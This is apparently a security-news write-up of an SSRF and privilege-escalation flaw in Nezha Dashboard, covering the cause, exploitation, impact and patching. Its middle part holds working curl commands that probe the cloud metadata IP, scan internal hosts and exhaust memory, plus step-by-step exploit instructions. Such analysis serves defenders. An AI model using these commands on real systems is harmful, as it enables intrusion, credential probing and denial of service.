Listen to this Post
How the mentioned CVE works:
The vulnerability stems from incorrect role-based access control. Nezha dashboard defines two roles: RoleAdmin (0) and RoleMember (1). The notification routes `POST /api/v1/notification` and `PATCH /api/v1/notification/:id` are registered with `commonHandler` instead of `adminHandler` in controller.go:121-122. `commonHandler` performs no role check, while `adminHandler` enforces user.Role.IsAdmin(). A low-privilege RoleMember can therefore call these endpoints. The `createNotification` and `updateNotification` handlers (notification.go:46-83, 97-146) invoke `ns.Send()` synchronously. The `Send` method (model/notification.go:113-159) creates an HTTP client – using `utils.HttpClientSkipTlsVerify` if `VerifyTLS` is false – and sends a request to a user-controlled URL. On any non-2xx response, it reads the entire response body with `io.ReadAll` (no size limit) and returns an error containing the full body. This error propagates through `commonHandler` → `handle()` → `newErrorResponse(err)` and is JSON-encoded back to the caller. An attacker can thus perform SSRF to internal services, leak response bodies (e.g., IMDSv2 401 pages, internal admin panels), and cause DoS by pointing to large internal files, exhausting memory.
DailyCVE form:
Platform: Nezha Dashboard
Version: commit 50dc8e660326b9f22990898142c58b7a5312b42a
Vulnerability: SSRF & PrivEsc
Severity: Medium (CVSS 6.4)
date: 2026-05-22
Prediction: Patch expected 2026-06-15
What Undercode Say:
Check if notification endpoint is accessible with member token
curl -X POST -H "Authorization: Bearer <member_jwt>" -H "Content-Type: application/json" \
-d '{"name":"test","url":"http://169.254.169.254/latest/meta-data/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://target/api/v1/notification
Enumerate internal hosts using error message reflection
for ip in 192.168.1.{1..254}; do
curl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d "{\"name\":\"x\",\"url\":\"http://$ip:80/\",\"request_method\":1,\"request_type\":1,\"verify_tls\":false,\"skip_check\":false}" \
http://target/api/v1/notification | grep -o "status."
done
DoS via large file read
curl -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"dos","url":"http://internal-server/large.iso","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://target/api/v1/notification
Exploit:
- Obtain a RoleMember JWT (admin creates user with role=1).
- Send POST to `/api/v1/notification` with JSON containing `url` pointing to internal target, `request_method=1` (GET),
skip_check=false. - On non-2xx response, the internal HTTP response body appears in `error` field of JSON reply.
- For AWS IMDSv2, use `http://169.254.169.254/latest/meta-data/iam/security-credentials/` – the 401 body leaks required token format.
- To bypass TLS validation, set
verify_tls=false; the client usesHttpClientSkipTlsVerify. - For memory exhaustion, set `url` to a large file (e.g., `/var/log/syslog` on internal server); repeated calls cause OOM.
Protection from this CVE:
– Upgrade to commit after 50dc8e660326b9f22990898142c58b7a5312b42a where notification routes use adminHandler.
– If patching not possible, manually change `auth.POST(“/notification”, commonHandler(…))` to `adminHandler` in cmd/dashboard/controller/controller.go.
– Apply SSRF hardening: resolve URL host via `net.LookupIP` and reject private/loopback addresses. Use `io.LimitReader(resp.Body, 4096)` to cap response size.
– Enforce TLS certificate validation; remove `VerifyTLS=false` toggle for member-accessible endpoints.
– Deploy network-level restrictions: block egress from dashboard pod to metadata IP (169.254.169.254) and internal RFC1918 ranges.
Impact:
- Confidentiality: Low-privilege user can read internal HTTP responses, potentially including AWS IMDSv2 documentation, internal admin panel source, or configuration endpoints.
- Availability: Unbounded `io.ReadAll` allows remote memory exhaustion DoS against the dashboard process.
- Integrity: None directly, but leaked internal data may enable further attacks.
- Scope: Changed; internal services are exposed to authenticated member, bypassing network isolation.
- Authentication required: Attacker needs a valid RoleMember account, but no other privileges.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

